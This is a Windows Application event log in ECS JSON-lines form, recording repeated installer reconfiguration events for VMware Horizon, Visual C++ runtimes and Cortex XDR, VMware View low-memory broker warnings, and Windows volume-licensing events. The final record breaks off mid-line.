{"@timestamp":1657403831107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171793}}
{"@timestamp":1657403890733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171794}}
{"@timestamp":1657403890759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171795}}
{"@timestamp":1657403890810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171796}}
{"@timestamp":1657403890849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171797}}
{"@timestamp":1657403890877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171798}}
{"@timestamp":1657403890908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171799}}
{"@timestamp":1657403890935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171800}}
{"@timestamp":1657403890961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171801}}
{"@timestamp":1657403890997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171802}}
{"@timestamp":1657403891026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171803}}
{"@timestamp":1657403950860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171804}}
{"@timestamp":1657403950886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171805}}
{"@timestamp":1657403950936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171806}}
{"@timestamp":1657403950979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171807}}
{"@timestamp":1657403951007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171808}}
{"@timestamp":1657403951040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171809}}
{"@timestamp":1657403951069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171810}}
{"@timestamp":1657403951097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171811}}
{"@timestamp":1657403951137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171812}}
{"@timestamp":1657403951164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171813}}
{"@timestamp":1657404011595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171814}}
{"@timestamp":1657404011650,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171815}}
{"@timestamp":1657404011742,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171816}}
{"@timestamp":1657404011830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171817}}
{"@timestamp":1657404011866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171818}}
{"@timestamp":1657404011903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171819}}
{"@timestamp":1657404011930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171820}}
{"@timestamp":1657404011956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171821}}
{"@timestamp":1657404011991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171822}}
{"@timestamp":1657404012018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171823}}
{"@timestamp":1657429029932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171824}}
{"@timestamp":1657432979711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 10 08:02:59 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171825}}
{"@timestamp":1657476184040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Jul 10 20:03:04 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171826}}
{"@timestamp":1657491982199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171827}}
{"@timestamp":1657519388154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 11 08:03:08 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171828}}
{"@timestamp":1657551875339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171829}}
{"@timestamp":1657562592066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Jul 11 20:03:12 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171830}}
{"@timestamp":1657605796239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 12 08:03:16 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171831}}
{"@timestamp":1657610747249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171832}}
{"@timestamp":1657649000270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Jul 12 20:03:20 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171833}}
{"@timestamp":1657673460133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":171834}}
{"@timestamp":1657692204295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Jul 13 08:03:24 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":171835}}
{"@timestamp":1657726351718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2023/01/02:15:32:31;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171836}}
{"@timestamp":1657726353017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600BFD83BCA1A485A7865B15FE037CF8235BED691E6B2CA82F93DA02A92BB8E94C89D2C62A94788F0FB53766E180739C22EF2D34FBEAF4890A46F3B788EA2F078AA70BE473FA4E17376D34403B5DA9F47CAF1F9CA84CD240BA321A946E7C1A97A7D11B162A021F2A9F2E1DDA1F9D46C19A4B0647461C96E1D9445A4F9935AD3B8256EF11D5AA6E140CB527D9D82115BCB9AE60F77F36239678B447D3CFAA2880E9073F5BE30F1A484CD6C9DA4E2B19AD691011078DD1E4BD2CD09BD8618FEE2A220C0CF6E790B8B4F6B770FE3F8780521F4FBD85ED8461DAA8C6F6099D1D9E0D620678EAC20DE38834EF91354CD2E5810351CF8F52A73A3F5CF51D1566D9D14525F","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/07/13 15:32, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171837}}
{"@timestamp":1657726353142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600E6EEB89DD2145EC1F865C31AEDFA2382DD29C635DBB6D2E3CD7794FE3D29B784435DEB2563E95FE7D3BF49542EB7D22FDD3007F579FD86917029007D99E1E7501D5296EAD9877A6E835EB5738B01E7B42BD7F6A3293C4DFA93A303E88A847F762507718ED5CD9AA66F10C1154A94C14E3B221571134209E17AD1477E0C9E04B807E31372265F0F9ADB9CE69EB98C2278399F3DA6A9767CD5FC6AB626A255AA610F4EE785C6B78DAFEA0F2C325A0FFC2A4F2D8E8AB01C20B320A5C5A49CAFA9D60BFCBEF8570E6F1F4FB3DE57A73B302F1E45B37374E486836B15C12DE912262BFFA67FF1F05D07F3C01FDC2D8F3DEA2D2B93F0EC7949A31A3D3EBC81F39FEA94","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/07/13 15:32"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171838}}
{"@timestamp":1657726353305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171839}}
{"@timestamp":1657726353307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171840}}
{"@timestamp":1657726353309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171841}}
{"@timestamp":1657726353387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171842}}
{"@timestamp":1657726353490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 